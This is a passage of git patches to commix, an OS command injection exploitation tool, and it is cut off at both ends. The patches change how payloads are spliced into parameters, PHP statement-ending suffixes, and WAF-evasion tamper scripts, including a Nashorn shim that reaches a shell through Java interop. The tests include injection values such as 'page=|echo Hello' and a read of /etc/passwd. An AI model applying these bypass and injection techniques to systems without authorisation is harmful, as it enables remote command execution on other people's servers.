b/src/core/controller/checks.py index 3dda337997..d4346746e7 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -404,8 +404,15 @@ def polluted_parameter(target, payload): of the first - so a carrier that was not asked to be polluted is left as it is. """ def process_injectable_value(payload, data, pollute=False): + # An empty value has nothing to mask, and masking on one would put the tag between every + # character of the carrier - the injection tag already says where the payload goes, so an empty + # value is spliced on that alone. Stood in for by a single whitespace, as it was, that space + # reached the target as the value's own first byte, in front of every payload: a sink reading + # that byte for itself - a leading '|' handed to an interpreter's own open() - was never once + # sent the separator it was being tested with. if len(settings.TESTABLE_VALUE) == 0: - settings.TESTABLE_VALUE = settings.SINGLE_WHITESPACE + spliced = data.replace(settings.INJECT_TAG, payload) + return polluted_parameter(spliced, payload) if pollute else spliced # Regenerate the tag if it overlaps the testable value. random_tag = settings.RANDOM_TAG while random_tag in settings.TESTABLE_VALUE or settings.TESTABLE_VALUE in random_tag: diff --git a/src/tamper/eval/javascript/nashornexec.py b/src/tamper/eval/javascript/nashornexec.py index ae1af340e7..c8ae7cee2c 100644 --- a/src/tamper/eval/javascript/nashornexec.py +++ b/src/tamper/eval/javascript/nashornexec.py @@ -17,19 +17,19 @@ from src.core.controller import checks """ -About: Rewrites the grammar's require() calls into a Java-interop shim, and its one ES2019 string - method into an equivalent Nashorn actually implements, for a sink evaluating JavaScript +About: Rewrites the grammar's require() calls into a Java-interop shim, and the two things it + writes that postdate Nashorn's own ECMAScript version, for a sink evaluating JavaScript through Java's Nashorn engine rather than Node. Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). - Nashorn parses the same syntax the grammar already writes, so the payload itself needs no - change of its own - only two things it calls are missing. 'require("child_process")' and - 'require("fs")' resolve to nothing, since neither module exists outside Node; Nashorn - exposes the whole Java classpath as plain globals by default though, with no filter - configured unless the embedding application added one itself, so a shim standing in for - the module reaches a real shell through java.lang.ProcessBuilder in execSync's place, and - a real file through java.nio.file.Files in readFileSync's place. Separately, every answer - the grammar reads back is trimmed with 'trimEnd()' - added to the language in 2019, well - after the ECMAScript version Nashorn implements, where the call is simply not defined. + 'require("child_process")' and 'require("fs")' resolve to nothing, since neither module + exists outside Node; Nashorn exposes the whole Java classpath as plain globals by default + though, with no filter configured unless the embedding application added one itself, so a + shim standing in for the module reaches a real shell through java.lang.ProcessBuilder in + execSync's place, and a real file through java.nio.file.Files in readFileSync's place. + Separately, two things the grammar writes are newer than the language Nashorn implements: + every answer it reads back is trimmed with 'trimEnd()', added in 2019, where the call is + simply not defined - and the one place it stops a page throws out of an arrow function, + which is ES6, and which Nashorn does not parse at all. Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a blocked native call reached instead through the host language's interop) """ @@ -70,6 +70,11 @@ def tamper(payload): # The one ES2019 method the grammar relies on, rewritten to what trimming trailing whitespace # looked like before that version - a regex substitution every ECMAScript release has had. payload = payload.replace('.trimEnd()', '.replace(/\\s+$/,"")') + # The one arrow function it writes, as the function expression that says the same thing before + # ES6 - left as it is, the payload does not parse at all here, and a parse error answers every + # boundary with the very same page, which a technique reading one answer against another is + # told nothing by. + payload = payload.replace('(()=>{throw new Error()})()', '(function(){throw new Error()})()') return payload # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 25dadf9ae3..68f35532de 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "295" +REVISION = "296" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index 509cc9f4a3..3c1892bf77 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -383,3 +383,31 @@ def test_the_margin_is_not_raised_past_the_delay_being_asked_for(self): if __name__ == "__main__": unittest.main() + +class EmptyTestableValue(unittest.TestCase): + """ + Where the payload goes when the parameter it is testing arrived with no value at all. + """ + def setUp(self): + self.testable_value = settings.TESTABLE_VALUE + + def tearDown(self): + settings.TESTABLE_VALUE = self.testable_value + + def test_an_empty_value_puts_the_payload_at_the_front(self): + """ + Stood in for by a single whitespace, an empty value reached the target as the first byte of + every payload - and a sink reading that byte for itself, an interpreter's own open() handed a + leading '|', was never once sent the separator it was being tested with. + """ + settings.TESTABLE_VALUE = "" + carrier = "page=" + settings.INJECT_TAG + spliced = checks.process_injectable_value("|echo Hello", carrier) + self.assertEqual("page=|echo Hello", spliced) + self.assertEqual("", settings.TESTABLE_VALUE) + + def test_a_value_of_its_own_still_carries_the_payload_behind_it(self): + settings.TESTABLE_VALUE = "127.0.0.1" + carrier = "addr=127.0.0.1" + settings.INJECT_TAG + spliced = checks.process_injectable_value("127.0.0.1;echo Hello", carrier) + self.assertEqual("addr=127.0.0.1;echo Hello", spliced) diff --git a/tests/test_tamper.py b/tests/test_tamper.py index ff357ef816..a7d0194951 100644 --- a/tests/test_tamper.py +++ b/tests/test_tamper.py @@ -488,3 +488,38 @@ def test_the_choice_is_withdrawn_where_it_stops_applying(self): settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS = was # eof + +class NashornParsesWhatItIsSent(unittest.TestCase): + """ + The engine behind '--tamper=nashornexec' stops at the ECMAScript version before arrow functions, + so anything the grammar writes that postdates it has to be rewritten on the way out. A construct + the engine cannot parse is worse than one it cannot run: the parse fails before the payload is + evaluated at all, so every boundary comes back as the same error page and a technique reading one + answer against another is told nothing by it. + """ + def setUp(self): + self.grammar = settings.EVAL_GRAMMAR + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars.javascript") + + def tearDown(self): + settings.EVAL_GRAMMAR = self.grammar + + def _tamper(self, payload): + from src.tamper.eval.javascript import nashornexec + return nashornexec.tamper(payload) + + def test_the_grammar_is_left_with_no_arrow_function(self): + # Asked of the grammar rather than of a spelling written out here, so a payload that starts + # carrying an arrow somewhere else is caught by this too. + grammar = settings.EVAL_GRAMMAR + written = [grammar.halt(grammar.length(grammar.run("id")) + "==2"), + grammar.print_statement(";", ["id"]), + grammar.delay(5, "1==1"), + grammar.sequence(grammar.run("id"), grammar.read_file("/etc/passwd"))] + for payload in written: + self.assertNotIn("=>", self._tamper(payload), "an arrow reaches the engine in " + payload[:60]) + + def test_the_rewrite_still_throws_where_the_condition_does_not_hold(self): + grammar = settings.EVAL_GRAMMAR + tampered = self._tamper(grammar.halt("1==2")) + self.assertIn("function(){throw new Error()}", tampered) From 1833bb82d03a9a8c041059a350592a0764dccf64 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:15:04 +0200 Subject: [PATCH 0970/1023] Trivial update --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 68f35532de..07cf9f0a20 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "296" +REVISION = "297" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2bab8e863591eeadb3d3aede4a2e196b34266807 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:44:48 +0200 Subject: [PATCH 0971/1023] Fixed an issue regarding injection points missed where a semicolon cannot be written, affecting the statement terminator the PHP grammar's first level carries --- src/core/eval/grammars/php.py | 6 +++++- src/tamper/eval/javascript/nashornexec.py | 4 +--- src/utils/settings.py | 2 +- tests/test_grammars.py | 22 ++++++++++++++++++++++ 4 files changed, 29 insertions(+), 5 deletions(-) diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index eafc54ef4b..78142ae665 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -68,7 +68,11 @@ # Ending the statement outright, and leaving a comment the value was written into. PREFIXES_LVL3 = PREFIXES_LVL2 + ["')", "\")", ");}", "\");}", ")", ";", "'", "\";", "';", "*/"] -SUFFIXES_LVL1 = [ "", ".'", "}}"] +# The close tag ends a statement exactly as the terminator below does, and is the only way to end +# one where ';' cannot be written - a value read as the whole statement has to be ended somehow, and +# this grammar's own level 1 otherwise pairs an unwrapped value with nothing that ends it, which the +# interpreter refuses as readily as it refuses a half-written one. +SUFFIXES_LVL1 = [ "", ".'", "}}", "?>"] # Closing the interpolation, and commenting out whatever the application appends behind it. SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'#", "}", "}\""] SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#", ";//", ";#", "/*"] diff --git a/src/tamper/eval/javascript/nashornexec.py b/src/tamper/eval/javascript/nashornexec.py index c8ae7cee2c..a990b04084 100644 --- a/src/tamper/eval/javascript/nashornexec.py +++ b/src/tamper/eval/javascript/nashornexec.py @@ -17,9 +17,7 @@ from src.core.controller import checks """ -About: Rewrites the grammar's require() calls into a Java-interop shim, and the two things it - writes that postdate Nashorn's own ECMAScript version, for a sink evaluating JavaScript - through Java's Nashorn engine rather than Node. +About: Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function and trimEnd() into ECMAScript-5 equivalents, for a sink evaluating JavaScript through Java's Nashorn engine rather than Node. Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). 'require("child_process")' and 'require("fs")' resolve to nothing, since neither module exists outside Node; Nashorn exposes the whole Java classpath as plain globals by default diff --git a/src/utils/settings.py b/src/utils/settings.py index 07cf9f0a20..e063325456 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "297" +REVISION = "298" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_grammars.py b/tests/test_grammars.py index d79ee4fe98..c79b6bb659 100644 --- a/tests/test_grammars.py +++ b/tests/test_grammars.py @@ -157,3 +157,25 @@ def test_a_payload_is_something_its_own_language_can_read(self): if __name__ == "__main__": unittest.main() + +class StatementEnders(unittest.TestCase): + """ + A value a sink reads as the whole statement has to be ended somehow, and the grammar's own + terminator is not always available - a filter that rejects ';' takes it away while leaving the + sink itself reachable. Where the language has a second way to end a statement, level 1 carries it + beside the unwrapped prefix it belongs to, since the two are only useful together. + """ + def test_php_can_end_a_statement_without_its_terminator(self): + """ + PHP's close tag ends a statement exactly as ';' does. Without it the first level pairs an + unwrapped value with nothing that ends one, and 'print(`cmd`)' reaches eval() half-written - + which the interpreter refuses as readily as it refuses a payload that never closed its quote. + """ + php = grammars()["php"] + self.assertIn("", php.PREFIXES_LVL1, "the unwrapped value is a first-level prefix") + enders = [s for s in php.SUFFIXES_LVL1 if s and php.TERMINATOR not in s] + self.assertIn("?>", enders, "the close tag ends a statement where ';' cannot be written") + + def test_every_grammar_states_its_own_terminator(self): + for name, grammar in sorted(grammars().items()): + self.assertTrue(getattr(grammar, "TERMINATOR", ""), name + " declares no terminator") From f4999c48251b48ecb01ddca3465fa938d22ea68f Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 6 Nov 2026 06:08:45 +0200 Subject: [PATCH 0972/1023] Fixed several issues regarding payloads that never reached the sink as written, affecting a parameter whose value is read for its own first byte and the descriptions `--list-tampers` prints --- src/core/controller/checks.py | 32 ++++++++++++++++--- src/core/controller/controller.py | 21 ++++++++++++ src/core/requests/parameters.py | 6 ++++ src/tamper/eval/javascript/jsvmescape.py | 3 +- src/tamper/eval/javascript/nashornexec.py | 4 ++- src/tamper/eval/php/phpnoletters.py | 3 +- src/tamper/eval/php/phpnosymbols.py | 4 ++- src/tamper/eval/php/phpserverheaders.py | 3 +- src/tamper/eval/python/pybuiltinsescape.py | 6 ++-- src/tamper/eval/python/pyhexname.py | 3 +- src/tamper/obfuscation/posix/cmd2loop.py | 3 +- src/tamper/obfuscation/posix/dashlesstest.py | 3 +- src/tamper/obfuscation/posix/noletters.py | 3 +- src/tamper/obfuscation/posix/printf2echo.py | 3 +- src/tamper/quoting/posix/printfoctal.py | 3 +- .../quoting/posix/uninitializedvariable.py | 3 +- .../whitespace/posix/space2randomblank.py | 4 +-- src/utils/settings.py | 15 ++++++++- tests/test_tamper.py | 25 +++++++++++++++ 19 files changed, 124 insertions(+), 23 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d4346746e7..289b514514 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3531,6 +3531,31 @@ def testable_parameters(url, check_parameters): warn_msg += " not inside the " + http_method + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +The one sentence a tamper script is listed by, read off its own 'About:'. + +However many lines that sentence was written over: read as the first line alone, a description long +enough to wrap was listed cut off, which reads as a truncated answer from commix rather than as a +description that is merely long. The block itself ends where the next key does, or where the +docstring does - a script whose 'About:' is the only key it carries has nothing but the latter. The +lines a script adds under its opening sentence, a bullet apiece for the target families it treats +differently, elaborate rather than continue it, and belong to neither. +""" +def tamper_description(content): + match = re.search(r'About:(.*?)(?=\n[A-Z][A-Za-z]*:|\n""")', content, re.S) + if not match: + return "" + description = "" + for line in match.group(1).split(settings.END_LINE.LF): + line = line.strip() + # A bullet is the marker and then a space; '->' and '-An' are a sentence carrying on. + if not line or line.split(settings.SINGLE_WHITESPACE)[0] in ("*", "-"): + break + description = (description + settings.SINGLE_WHITESPACE + line).strip() + if description.endswith("."): + break + return description[0].upper() + description[1:] if description else description + """ Lists available tamper scripts """ @@ -3547,11 +3572,8 @@ def list_tamper_scripts(): for _, script in sorted(tamper_script_paths().items()): with open(script, "rb") as script_file: content = script_file.read().decode(settings.DEFAULT_CODEC) - match = re.search(r"About:(.*)\n", content) - if match: - comment = match.group(1).strip() - # Capitalize the first letter of the comment - comment = comment[0].upper() + comment[1:] if comment else comment + comment = tamper_description(content) + if comment: script_name = os.path.basename(script) message += ( "* " diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 37d3477099..9ff97f698b 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1227,6 +1227,15 @@ def _accepts_whitespace_retry(): settings.WHITESPACE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO return settings.WHITESPACE_RETRY_CHOICE + def _accepts_replaced_value_retry(): + if settings.REPLACE_VALUE_RETRY_CHOICE is None: + # Asked for the same reason the two above are: nothing was confirmed, and that the sink + # reads the value's own first byte is the guess that makes another pass worth paying for. + message = "Do you want " + settings.APPLICATION + " to try again with the payload in place of " + message += "the parameter's value rather than behind it? [Y/n] " + settings.REPLACE_VALUE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.REPLACE_VALUE_RETRY_CHOICE + def _accepts_dashless_retry(): if settings.DASHLESS_RETRY_CHOICE is None: # Asked for the same reason the whitespace one above is: what was established is that @@ -1275,6 +1284,18 @@ def _accepts_dashless_retry(): _reset_web_root_detection() end_detection = _run_and_verify() + # Not a filter at all, unlike the three passes above: the value is reaching the sink intact + # and is the problem itself, because this sink reads its first byte rather than the end of it. + # Left set only where it confirmed something - a pass that found nothing would otherwise hand + # the next parameter a value already replaced, and have it tested that way alone. + if not end_detection and checks.injection_techniques_status() is False and \ + not settings.REPLACE_VALUE and settings.TESTABLE_VALUE and \ + _accepts_replaced_value_retry(): + settings.REPLACE_VALUE = True + _reset_web_root_detection() + end_detection = _run_and_verify() + if checks.injection_techniques_status() is False: + settings.REPLACE_VALUE = False # All injection techniques seems to be failed! if checks.injection_techniques_status() is False: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index daf1d63bdd..4c6cab3019 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -802,6 +802,12 @@ def prefixes(payload, prefix): # what the parameter's own required value would otherwise glue on, not stack in front of it, and # a filter anchored on the shape of the value as a whole has no other way to be satisfied. pre_custom = resolve_marker_component(settings.TESTABLE_VALUE, settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) + # The value the parameter arrived with is glued on here, in front of the boundary's own prefix, so + # that the payload reaches the sink behind it. Standing in its place instead is simply that glue + # left off: the carrier itself already drops the value it is replacing, which is what makes the + # payload the whole of what the parameter now carries. + if settings.REPLACE_VALUE: + pre_custom = "" if pre_custom is not None and pre_custom not in prefix and not menu.options.prefix: prefix = pre_custom + prefix """ diff --git a/src/tamper/eval/javascript/jsvmescape.py b/src/tamper/eval/javascript/jsvmescape.py index d207aab77b..a8781522c4 100644 --- a/src/tamper/eval/javascript/jsvmescape.py +++ b/src/tamper/eval/javascript/jsvmescape.py @@ -17,7 +17,8 @@ from src.core.controller import checks """ -About: Reaches the payload's own require() through the constructor chain, for a sink evaluating inside a Node 'vm' sandbox rather than a plain eval(). +About: Reaches the payload's own require() through the constructor chain, for a sink evaluating + inside a Node 'vm' sandbox rather than a plain eval(). Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). A 'vm' context built from a plain object still inherits 'constructor' from the host realm's own Object.prototype, and Function's own constructor compiles new code outside the diff --git a/src/tamper/eval/javascript/nashornexec.py b/src/tamper/eval/javascript/nashornexec.py index a990b04084..d69894af89 100644 --- a/src/tamper/eval/javascript/nashornexec.py +++ b/src/tamper/eval/javascript/nashornexec.py @@ -17,7 +17,9 @@ from src.core.controller import checks """ -About: Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function and trimEnd() into ECMAScript-5 equivalents, for a sink evaluating JavaScript through Java's Nashorn engine rather than Node. +About: Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function and + trimEnd() into ECMAScript-5 equivalents, for a sink evaluating JavaScript through Java's + Nashorn engine rather than Node. Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). 'require("child_process")' and 'require("fs")' resolve to nothing, since neither module exists outside Node; Nashorn exposes the whole Java classpath as plain globals by default diff --git a/src/tamper/eval/php/phpnoletters.py b/src/tamper/eval/php/phpnoletters.py index d03f7cda96..9fdbb456bf 100644 --- a/src/tamper/eval/php/phpnoletters.py +++ b/src/tamper/eval/php/phpnoletters.py @@ -18,7 +18,8 @@ from src.core.controller import checks r""" -About: Runs the command without a single a-z/A-Z character reaching the target, by octal-escaping every letter the payload needs and calling functions by a name built that way. +About: Runs the command without a single a-z/A-Z character reaching the target, by octal-escaping + every letter the payload needs and calling functions by a name built that way. Notes: This tamper script works against target(s) rejecting any letter in the evaluated string before it is evaluated (i.e. option '--eval=php'), since PHP decodes a double-quoted or backtick string's own '\NNN' octal escapes only once that check has already passed. 'print' and 'eval' are language constructs rather than functions, so nothing dynamic can call them by name - the wrapper classic.py's payloads put around a result is rebuilt through 'printf' instead, but one of the probe's own boundaries calls 'eval' by that literal name and is not covered. References: [1] https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/ """ diff --git a/src/tamper/eval/php/phpnosymbols.py b/src/tamper/eval/php/phpnosymbols.py index ed41b2d317..0763fc5d8b 100644 --- a/src/tamper/eval/php/phpnosymbols.py +++ b/src/tamper/eval/php/phpnosymbols.py @@ -18,7 +18,9 @@ from src.core.controller import checks r""" -About: Rewrites the three places a PHP eval-sink payload still carries a digit, a quote or a semicolon, for a target rejecting all three at once (along with '$' and '_', which the payload never needed in the first place). +About: Rewrites the three places a PHP eval-sink payload still carries a digit, a quote or a + semicolon, for a target rejecting all three at once (along with '$' and '_', which the + payload never needed in the first place). Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). A literal integer becomes a parenthesised sum of 'true' added to itself, since a boolean is an integer the moment arithmetic or a comparison is done on it; the empty string a halted diff --git a/src/tamper/eval/php/phpserverheaders.py b/src/tamper/eval/php/phpserverheaders.py index cb6f73da78..36e51dbd6e 100644 --- a/src/tamper/eval/php/phpserverheaders.py +++ b/src/tamper/eval/php/phpserverheaders.py @@ -22,7 +22,8 @@ from src.core.controller import checks r""" -About: Moves the function and the command out of the payload and into HTTP headers it reads back through '$_SERVER'. +About: Moves the function and the command out of the payload and into HTTP headers it reads back + through '$_SERVER'. Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). """ diff --git a/src/tamper/eval/python/pybuiltinsescape.py b/src/tamper/eval/python/pybuiltinsescape.py index beb58b42cb..3076ec7442 100644 --- a/src/tamper/eval/python/pybuiltinsescape.py +++ b/src/tamper/eval/python/pybuiltinsescape.py @@ -19,9 +19,9 @@ from src.core.controller import checks """ -About: Reaches every bare builtin the grammar calls - __import__ and open to run a command or read - a file, len/ord/chr/int to measure and compare the answer - through the subclasses of - object, for a sink evaluating Python with no builtins at all. +About: Reaches every bare builtin the grammar calls - __import__ and open to run a command or read a + file, len/ord/chr/int to measure and compare the answer - through the subclasses of object, + for a sink evaluating Python with no builtins at all. Notes: This tamper script works against target(s) evaluating Python (i.e. option '--eval=python'). 'eval(value, {"__builtins__": {}})' is a common way to let a value run as code without touching anything else on the system - but an empty __builtins__ only blocks every builtin diff --git a/src/tamper/eval/python/pyhexname.py b/src/tamper/eval/python/pyhexname.py index b135aeeab1..c0fd78f133 100644 --- a/src/tamper/eval/python/pyhexname.py +++ b/src/tamper/eval/python/pyhexname.py @@ -18,7 +18,8 @@ from src.core.controller import checks r""" -About: Runs the command through a Python module and function named in hex ("\x6f\x73", "\x70\x6f\x70\x65\x6e"). +About: Runs the command through a Python module and function named in hex ("\x6f\x73", + "\x70\x6f\x70\x65\x6e"). Notes: This tamper script works against target(s) evaluating Python (i.e. option '--eval=python'). """ diff --git a/src/tamper/obfuscation/posix/cmd2loop.py b/src/tamper/obfuscation/posix/cmd2loop.py index 60794d00bb..8663c706e5 100644 --- a/src/tamper/obfuscation/posix/cmd2loop.py +++ b/src/tamper/obfuscation/posix/cmd2loop.py @@ -18,7 +18,8 @@ from src.core.controller import checks """ -About: Wraps the payload's command in a single-iteration 'for' loop, so it is reached through a shell keyword instead of a separator. +About: Wraps the payload's command in a single-iteration 'for' loop, so it is reached through a + shell keyword instead of a separator. Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://github.com/coreruleset/coreruleset/issues/4789 """ diff --git a/src/tamper/obfuscation/posix/dashlesstest.py b/src/tamper/obfuscation/posix/dashlesstest.py index 69160624a8..1f21a88e4a 100644 --- a/src/tamper/obfuscation/posix/dashlesstest.py +++ b/src/tamper/obfuscation/posix/dashlesstest.py @@ -17,7 +17,8 @@ from src.core.controller import checks """ -About: Runs 'test's numeric comparisons ('-eq'/'-ne'/'-le'/'-ge'/'-lt'/'-gt') without a '-' of their own, for a target that strips a bare '-' outright. +About: Runs 'test's numeric comparisons ('-eq'/'-ne'/'-le'/'-ge'/'-lt'/'-gt') without a '-' of their + own, for a target that strips a bare '-' outright. Notes: This tamper script works against target(s) with a POSIX shell. Equality is read as '='/'!=', which agrees with '-eq'/'-ne' exactly for the plain, unpadded decimal integers commix always compares this way - it would not for a value written with a leading zero. Ordering has no dash-free spelling of its own in 'test', so it is read instead from 'expr's own comparison, whose "<="/">="/"<"/">" need no '-' either - quoted, since unquoted they are shell redirections. References: [1] https://github.com/digininja/DVWA/blob/master/vulnerabilities/exec/source/high.php """ diff --git a/src/tamper/obfuscation/posix/noletters.py b/src/tamper/obfuscation/posix/noletters.py index fca8b6b146..89a51e6708 100644 --- a/src/tamper/obfuscation/posix/noletters.py +++ b/src/tamper/obfuscation/posix/noletters.py @@ -18,7 +18,8 @@ from src.core.controller import checks r""" -About: Rewrites a bare command name in a given payload as a filename glob of the same length ('echo' -> '/???/????'), resolved by the shell against '/bin' rather than typed as a word. +About: Rewrites a bare command name in a given payload as a filename glob of the same length ('echo' + -> '/???/????'), resolved by the shell against '/bin' rather than typed as a word. Notes: This only reaches a target whose '/bin' holds exactly one file of that length - every POSIX shell keyword capable of trying more than one candidate ('for', 'while', 'case', 'set') is itself spelled in letters a filter blocking all of them also blocks, so an ambiguous match diff --git a/src/tamper/obfuscation/posix/printf2echo.py b/src/tamper/obfuscation/posix/printf2echo.py index 1e61e06982..9b19c9eee4 100644 --- a/src/tamper/obfuscation/posix/printf2echo.py +++ b/src/tamper/obfuscation/posix/printf2echo.py @@ -17,7 +17,8 @@ from src.core.controller import checks """ -About: Replaces the printf-based ASCII to Decimal `printf '%d' "'$char"` with `echo -n $char | od -An -tuC | xargs`. +About: Replaces the printf-based ASCII to Decimal `printf '%d' "'$char"` with `echo -n $char | od + -An -tuC | xargs`. Notes: This tamper script works against target(s) with a POSIX shell. The two pipes are the one thing this rewrite cannot be written without: 'od' reads a byte from its standard input alone, and the only way to hand it one without a pipe is awk's diff --git a/src/tamper/quoting/posix/printfoctal.py b/src/tamper/quoting/posix/printfoctal.py index 32ad17f14f..bb57ac8892 100644 --- a/src/tamper/quoting/posix/printfoctal.py +++ b/src/tamper/quoting/posix/printfoctal.py @@ -18,7 +18,8 @@ from src.core.controller import checks r""" -About: Rewrites the command names and paths in a given payload as a command substitution of printf's own octal escapes ($(printf '\143\141\164')). +About: Rewrites the command names and paths in a given payload as a command substitution of printf's + own octal escapes ($(printf '\143\141\164')). Notes: Unlike 'ansiquote'/'ansiquoteoctal', this needs nothing a strict POSIX shell (e.g. 'dash', the '/bin/sh' of most Debian/Ubuntu targets) does not already have - no ANSI-C quoting, just "$()" and a "printf" whose octal escapes POSIX itself requires. diff --git a/src/tamper/quoting/posix/uninitializedvariable.py b/src/tamper/quoting/posix/uninitializedvariable.py index aa57aef853..1abb0d9008 100644 --- a/src/tamper/quoting/posix/uninitializedvariable.py +++ b/src/tamper/quoting/posix/uninitializedvariable.py @@ -20,7 +20,8 @@ from src.core.controller import checks """ -About: Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. +About: Adds (randomly generated) uninitialized bash variables between the characters of each command + in a given payload. Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ diff --git a/src/tamper/whitespace/posix/space2randomblank.py b/src/tamper/whitespace/posix/space2randomblank.py index 6040e4b8de..c5a7ad6872 100644 --- a/src/tamper/whitespace/posix/space2randomblank.py +++ b/src/tamper/whitespace/posix/space2randomblank.py @@ -19,8 +19,8 @@ from src.core.controller import checks """ -About: Replaces every occurrence of the payload's own whitespace with one drawn independently from - a small set of equivalents, rather than the one substitute every other space2* script settles +About: Replaces every occurrence of the payload's own whitespace with one drawn independently from a + small set of equivalents, rather than the one substitute every other space2* script settles on for the whole payload. Notes: This tamper script works against target(s) with a POSIX shell. 'if'/'then'/'fi' and friends are recognised before '${IFS}' expands, so 'if${IFS}' is never diff --git a/src/utils/settings.py b/src/utils/settings.py index e063325456..6f3ca052a5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "298" +REVISION = "299" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -868,6 +868,19 @@ class OS(object): # Whether TESTABLE_VALUE has already been swapped for a disposable placeholder for this parameter. TESTABLE_VALUE_OPTIMIZED = False +""" +Whether the payload stands in place of the parameter's own value rather than behind it. + +Behind it is the shape nearly every sink wants: what the application built around the value is still +there, and the payload chains onto the end of it. A sink that reads the value's own first byte is the +exception - an interpreter's two-argument open() handed a leading '|' runs what follows as a command, +and a value in front of that pipe is read as a filename instead - so there the value has to go. +""" +REPLACE_VALUE = False + +# Asked once for the run, like the whitespace and dash retries' own answers. +REPLACE_VALUE_RETRY_CHOICE = None + # The techniques the run was given, kept for the parameters that follow one tested with fewer. TECHNIQUES_BEFORE_NARROWING = None diff --git a/tests/test_tamper.py b/tests/test_tamper.py index a7d0194951..745ebb8ba0 100644 --- a/tests/test_tamper.py +++ b/tests/test_tamper.py @@ -14,6 +14,7 @@ """ import os +import re import inspect import importlib import unittest @@ -523,3 +524,27 @@ def test_the_rewrite_still_throws_where_the_condition_does_not_hold(self): grammar = settings.EVAL_GRAMMAR tampered = self._tamper(grammar.halt("1==2")) self.assertIn("function(){throw new Error()}", tampered) + +class ListedDescriptions(unittest.TestCase): + """ + Whatever '--list-tampers' prints for a script has to be the whole sentence the script opens with, + however many lines it was written over - a description listed cut off mid-sentence reads as a + truncated answer from commix rather than as a description that happens to be long. + """ + def _about(self, module): + # Asked of the reader the listing itself uses, not of a second copy of it here - a test with its + # own idea of where the description ends would pass while the listing printed something else. + from src.core.controller import checks + with open(module.__file__.replace(".pyc", ".py"), encoding="utf-8") as handle: + return checks.tamper_description(handle.read()) + + def test_every_script_says_what_it_does_in_the_line_that_is_printed(self): + unfinished = [] + for name, module in sorted(tamper_modules().items()): + about = self._about(module) + if not about: + unfinished.append(name + " (no 'About:' at all)") + elif not about.endswith("."): + unfinished.append(name + " (cut off: ..." + about[-40:] + ")") + self.assertEqual([], unfinished, + "listed description is not a whole sentence: " + ", ".join(unfinished)) From 4c2619b516c57d9a8ee7fe6e4126d7d7646df9bf Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 6 Nov 2026 06:16:48 +0200 Subject: [PATCH 0973/1023] Fixed several issues regarding header values read out of a captured request, affecting the whitespace a field line may carry around its value and which field the "Authorization" one is taken from (PR: 